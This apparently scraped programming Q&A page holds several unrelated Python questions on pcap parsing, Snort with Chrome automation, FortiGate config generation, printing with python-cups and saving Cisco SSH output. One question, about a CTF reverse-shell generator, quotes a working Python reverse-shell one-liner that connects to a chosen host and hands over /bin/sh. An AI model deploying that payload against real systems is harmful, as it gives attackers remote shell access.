I am going to analyze the wireshark pcap file for the ARP packet. Perform a byte-level programming to read each byte and convert it to the ARP header element --- the sender MAC address, target MAC address, protocol type, etc.
Here is my code.
import argparse
import os
import sys
from scapy.all import *
def process_pcap(file_name):
print('Opening {}...'.format(file_name))
dstmac = []
srcmac = []
scapy_cap = rdpcap(file_name)
for pack in scapy_cap:
//if pack.type ==2054 then get ARP info
//????
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='PCAP reader')
parser.add_argument('--pcap', metavar='<pcap file name>',
help='pcap file to parse', required=True)
args = parser.parse_args()
file_name = args.pcap
if not os.path.isfile(file_name):
print('"{}" does not exist'.format(file_name), file=sys.stderr)
sys.exit(-1)
process_pcap(file_name)
sys.exit(0)
white_check_mark
eyes
raised_hands
I get only pack, but I don't know the way how to treat pack and get desired result.
pack is:
b'P\x9aL1\xb3\xfd\x08\x96\xad\xe8\x84]\x08\x00E\x00\x00m\x04\xe4#\x00u\x06*\xd8\r3\xb0\xbf\n\n\r\xd3\r=\xc1a\x9d\xa2\x1d=\xb5\xe4\xef6P\x18\xf7\xa2\xd1\xd6\x00\x00\x17\x03\x03\x00#\x00\x00\x00\x00\x00\x00\x03\x97\xc4\xee\x14[\x89\xd6 \xc7\xe6\xde\x8f\xe0\x13\xbc\x86\xffm"\xf6\x02q\x7f\xa1\xea\xdcu?\xa9\xaf\x01\x85\x02M\xc3\x14mX\x08\xf9\x99\x99\xc8A$\x0e\x93,\x90\xb9\x89[\x8f\x0b<W\xa3'
Related
I have been having a problem running the code below and suspect the problem is with link.strip(). The program is running in a linux environment and it is supposed to open multiple links contained in a text files and opens them for snort to scan for malware. The file name is defined in the terminal before the code is executed.
import os
import subprocess
import time
import argparse
def read_links_from_file(file_path):
links = []
with open(file_path, 'r') as file:
for line in file:
links.append(line.strip())
return links
def open_links_in_chrome(links, headless=True):
options = '--headless' if headless else ''
for link in links:
subprocess.call('google-chrome {options} --app={link}', shell=True)
time.sleep(1)
def run_snort(interface):
subprocess.call(f'snort -i {interface}', shell=True)
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--file', help='Path to file containing links', required=True)
parser.add_argument('--interface', help='Network interface for Snort to listen on', required=True)
parser.add_argument('--headless', help='Run Chrome in headless mode', action='store_true')
args = parser.parse_args()
file_path = args.file
interface = args.interface
headless = args.headless
links = read_links_from_file(file_path)
snort_process = subprocess.Popen(['snort', '-i', interface])
open_links_in_chrome(links, headless)
snort_process.terminate()
if __name__ == '__main__':
main()
I tried reconfiguring the applications and rewrote the code but I'm not sure if I preserved the right code but
links.append(line.strip())
doesn't seem to be the right way to go. I have also changed the sleep time from 5 to 1
After some tinkering I ended up with the following error
Acquiring network traffic from "eth0". ERROR: Can't start DAQ (-1) - socket: Operation not permitted! Fatal Error, Quitting.. libva error: vaGetDriverNameByIndex() failed with unknown libva error, driver_name
= (null) [121024:121024:0217/122814.243731:ERROR:gpu_memory_buffer_support_x11.cc(49)] dri3 extension not supported. [121070:8:0217/122815.025776:ERROR:command_buffer_proxy_impl.cc(128)] ContextResult::kTransientFailure: Failed to send GpuControl.CreateCommandBuffer. Fontconfig error: Cannot load default config file: No such file: (null)
I have been having a problem running the code below and suspect the problem is with link.strip().
I assume you mean line.strip() (you're not calling link.strip() anywhere in your code). If you think the code is problematic, let's test it. If I have a file that contains a list of four URLs in file urls.txt:
https://google.com
https://stackoverflow.com
https://www.npr.org/programs/wait-wait-dont-tell-me/
https://www.nyan.cat/
And then run the following code:
import sys
def read_links_from_file(file_path):
links = []
with open(file_path, 'r') as file:
for line in file:
links.append(line.strip())
return links
links = read_links_from_file('urls.txt')
for i, link in enumerate(links):
print(f'{i}: {link}')
I get the following output:
0: https://google.com
1: https://stackoverflow.com
2: https://www.npr.org/programs/wait-wait-dont-tell-me/
3: https://www.nyan.cat/
That suggest your read_links_from_file function works as expected.
On the other hand, you're doing more work than is necessary. The default behavior of a Python file object is to act as an iterator over the lines in the file, so instead of writing this:
def read_links_from_file(file_path):
links = []
with open(file_path, 'r') as file:
for line in file:
links.append(line.strip())
return links
links = read_links_from_file(args.file)
open_links_in_chrome(links, args.headless)
You can just delete the read_links_from_file functions and pass the open file:
with open(args.file) as links:
open_links_in_chome((line.strip() for line in links), args.headless)
I'm cheating a bit here because in stead of simply iterating over the file I'm using a generator expression to take care of stripping the end-of-line character.
You have an error in your open_links_in_chrome function. You have written:
subprocess.call('google-chrome {options} --app={link}', shell=True)
This will result in running the literal command line...
chrome {options} --app={link}
...because you are neither using a Python f-string nor are you calling the .format() method. You need to write the function like this in order to run Chrome as expected:
def open_links_in_chrome(links, headless=True):
options = '--headless' if headless else ''
for link in links:
subprocess.call(f'google-chrome {options} --app={link}', shell=True)
time.sleep(1)
This introduces a new problem: this will successfully open Chrome with the first URL, but Chrome will never exit, so your code won't continue past this point.
Rather than trying to fix this, I would suggest using a browser automation library like Playwright or Selenium. Here's your code rewritten to use Playwright:
import playwright
from playwright.sync_api import sync_playwright
import subprocess
import time
import argparse
import signal
def open_links_in_chrome(links, headless=True):
with sync_playwright() as p:
browser = p.chromium.launch(headless=headless)
page = browser.new_page()
for link in links:
print(f'fetching {link}')
try:
page.goto(link)
except playwright._impl._api_types.TimeoutError:
print(f'{link} timed out.')
time.sleep(1)
browser.close()
def main():
parser = argparse.ArgumentParser()
parser.add_argument('--file', help='Path to file containing links', required=True)
parser.add_argument('--interface', help='Network interface for Snort to listen on', required=True)
parser.add_argument('--headless', help='Run Chrome in headless mode', action='store_true')
args = parser.parse_args()
snort_process = subprocess.Popen(['snort', '-i', args.interface])
with open(args.file) as links:
open_links_in_chrome((line.strip() for line in links), headless=args.headless)
snort_process.terminate()
if __name__ == '__main__':
main()
If we run this -- assuming we have followed the Playwright installation instructions -- we see as output:
fetching https://google.com
fetching https://stackoverflow.com
fetching https://www.npr.org/programs/wait-wait-dont-tell-me/
fetching https://www.nyan.cat/
In my tests I've replaced snort with tcpdump, and examining the resulting packet capture I can see that we're making the expected network requests:
$ tcpdump -r packets port 53 | grep -E 'A\? (google.com|stackoverflow.com|www.npr.org|www.nyan.cat)'
reading from file packets, link-type EN10MB (Ethernet), snapshot length 262144
20:23:37.319272 IP madhatter.52135 > _gateway.domain: 52609+ A? stackoverflow.com. (35)
20:23:38.811385 IP madhatter.39144 > _gateway.domain: 15910+ AAAA? www.npr.org. (29)
20:23:38.811423 IP madhatter.52655 > _gateway.domain: 13756+ A? www.npr.org. (29)
20:23:41.214261 IP madhatter.46762 > _gateway.domain: 20587+ AAAA? www.nyan.cat. (30)
20:23:41.214286 IP madhatter.43846 > _gateway.domain: 12335+ A? www.nyan.cat. (30)
I have a simple CLI based program that I would like to add a GUI to. Optimally I would like to retain the ability to have this script run via the CLI as well. If this can be done, what is the best way to approach this? Disclaimer: I am relatively new to Tkinter!
from argparse import ArgumentParser
from ipaddress import IPv4Network
def Main():
""" Main Program """
parser = ArgumentParser(
description='Provided a list of IP addresses, format and output the correct fortigate commands to create them')
parser.add_argument('VDOM', help='Specify a VDOM', type=str)
parser.add_argument(
'File', help='Specify a file. Each entry should be on its own line, and have no extra characters', typ=str)
args = parser.parse_args()
with open(args.File, 'r') as input_file:
array = input_file.read().splitlines()
with open(args.vdom + '.txt', 'w') as output_file:
output_file.write("config vdom\n")
output_file.write("edit %s\n" % str(args.vdom))
output_file.write("config firewall address\n\n")
for i in range(0, len(array)):
try:
ip_addr = IPv4Network(array[i])
generateip(ip_addr, output_file)
except ValueError:
url = array[i]
generateurl(url, output_file)
def generateip(ip_addr, output_file):
"""
Generate a single IP address object.
ip_addr -- IP address network object
output_file -- an output text file
"""
output_file.write("edit \"%s\"\n" % str(ip_addr.with_prefixlen))
output_file.write("set color 1\n")
output_file.write("set subnet %s %s\n" %
(str(ip_addr.network_address), str(ip_addr.netmask)))
output_file.write("next\n\n")
def generateurl(url, output_file):
"""
Generate a single URL address object.
url -- A valid URL string
output_file -- an output text file
"""
output_file.write("edit %s\n" % url)
output_file.write("set color 1\n")
output_file.write("set type fqdn\n")
output_file.write("set fqdn %s\n" % url)
output_file.write("next\n\n")
if __name__ == '__main__':
Main()
Check out https://github.com/chriskiehl/Gooey . This will automatically convert your ArgParser arguments to a GUI. The GUI will be dependent on the code, so the root of your program still depends on the CLI.
I am at the moment experiencing some issues with my code. I am creating a reverse shell generator that automates with pentests for Capture flag competitions.
The script will read a file containing payloads, further the script will choose a specific line to be fetched and then replace the back connect ip address and port and output the payload to the user.
However i am stuck on some issues. The issue is that i am trying to replace two different strings upon reading a file containing my text, one of the strings gets replaced, while the other do not:
Strings to be replaced
[ip]
[port]
I have as well reviewed previous article using regex, but did not get further luck. Recieving error on the regex part that is commented out in my code: "unexpected token"
My code:
import socket
import base64
import hashlib
import re
import os # Fetching ip from interface
import linecache # for reading specific lines
ip = str(input("Host ip\n"))
port = str(input("port\n"))
#shell = str(input("Please select an option?\n"))
def full():
print("Welcome, lets generate a choosen reverse shell\n")
global ip
global port
print("please select language and shell option:\n [1] - python(Alphanumeric reverse shell)\n, [2] PHP(Alphanumeric reverse shell)\n")
selection = input("Type in number:\t")
if int(selection) == 1:
with open("myshells.txt", "r") as shells:
#for myreplace in (("[ip]", ip), ("[port]", port)):
fetchshell = linecache.getline('myshells.txt', 1)
ipreplaced = fetchshell.replace("[ip]", ip)
ipreplaced = fetchshell.replace("[port]", port)
print(ipreplaced)
"""for line in fetchshell:
myport = line.write(re.sub(r"(port)", port))
myip = line.write((re.sub(r"(ip)", ip))
print(line)"""
File contents:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],[port]));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Sample output from above code:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(([ip],22));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
How can I select tray when I send a file to the printer with python-cups?
I have a very simple testprogram that looks like this:
#!/usr/bin/env python
import cups
import sys
if __name__ == '__main__':
filename = sys.argv[1]
conn = cups.Connection()
printers = conn.getPrinters()
printer_name = printers.keys()[0]
conn.printFile(printer_name, filename, "TestDoc", {})
print 'File "%s" sent to printer "%s"' % (filename, printer_name)
It sends the given file to the default printer with the default paper (tray=1). But I want the doc to be printed on paper from another tray (tray=5). How to I do that?
OR: Am I doing it the wrong way? Should I go about it some other way to get my doc to the printer? In my final app the doc exist only in memory and not on disk, the only reason for me to write it to disk would be if it was needed by the printing. Note that I would need to switch between trays for the docs I print.
I am a newbie to Python as well as the programming world. After a bit of research for the past 2 days am now able to successfully SSH into the Cisco router and execute set of commands. However my original goal is to print the resultant output to a text file. Checked lots of posts by forum members which helped me in constructing the code, but I couldn't get the result printed on the text file. Please help.
Here is my code:
import paramiko
import sys
import os
dssh = paramiko.SSHClient()
dssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
dssh.connect('10.0.0.1', username='cisco', password='cisco')
stdin, stdout, stderr = dssh.exec_command('sh ip ssh')
print stdout.read()
f = open('output.txt', 'a')
f.write(stdout.read())
f.close()
dssh.close()
stdout.read() will read the content and move the file pointer forward. As such, subsequent calls will not be able to read the content again. So if you want to print the content and write it to a file, you should store it in a variable first and then print and write that.
Instead of mentioning the IP address directly on the code, is it possible for me to fetch it from list of IP addresses (mentioned line by line) in a text file?
You can read lines from a file like this:
with open('filename') as f:
for line in f:
# Each line will be iterated; so you could call a function here
# that does the connection via SSH
print(line)
I know this is very late but the code below is what I'm using to do exactly what is being asked.
from __future__ import print_function
from netmiko import ConnectHandler
import sys
import time
import select
import paramiko
import re
fd = open(r'C:\Users\NewdayTest.txt','w')
old_stdout = sys.stdout
sys.stdout = fd
platform = 'cisco_ios'
username = 'Username'
password = 'Password'
ip_add_file = open(r'C:\Users\\IPAddressList.txt','r')
for host in ip_add_file:
device = ConnectHandler(device_type=platform, ip=host, username=username, password=password)
output = device.send_command('terminal length 0')
output = device.send_command('enable')
print('##############################################################\n')
print('...................CISCO COMMAND SHOW RUN OUTPUT......................\n')
output = device.send_command('sh run')
print(output)
print('##############################################################\n')
print('...................CISCO COMMAND SHOW IP INT BR OUTPUT......................\n')
output = device.send_command('sh ip int br')
print(output)
print('##############################################################\n')
fd.close()
Or, if you wanted to print from a single host, use this slight edit. That simply removes looking for a list to get the IP address:
from __future__ import print_function
from netmiko import ConnectHandler
import sys
import time
import select
import paramiko
import re
fd = open(r'C:\Users\NewdayTest.txt','w')
old_stdout = sys.stdout
sys.stdout = fd
host = '10.10.10.10'
platform = 'cisco_ios'
username = 'Username'
password = 'Password'
device = ConnectHandler(device_type=platform, ip=host, username=username, password=password)
output = device.send_command('terminal length 0')
output = device.send_command('enable')
print('##############################################################\n')
print('...................CISCO COMMAND SHOW RUN OUTPUT......................\n')
output = device.send_command('sh run')
print(output)
print('##############################################################\n')
print('...................CISCO COMMAND SHOW IP INT BR OUTPUT......................\n')
output = device.send_command('sh ip int br')
print(output)
print('##############################################################\n')
fd.close()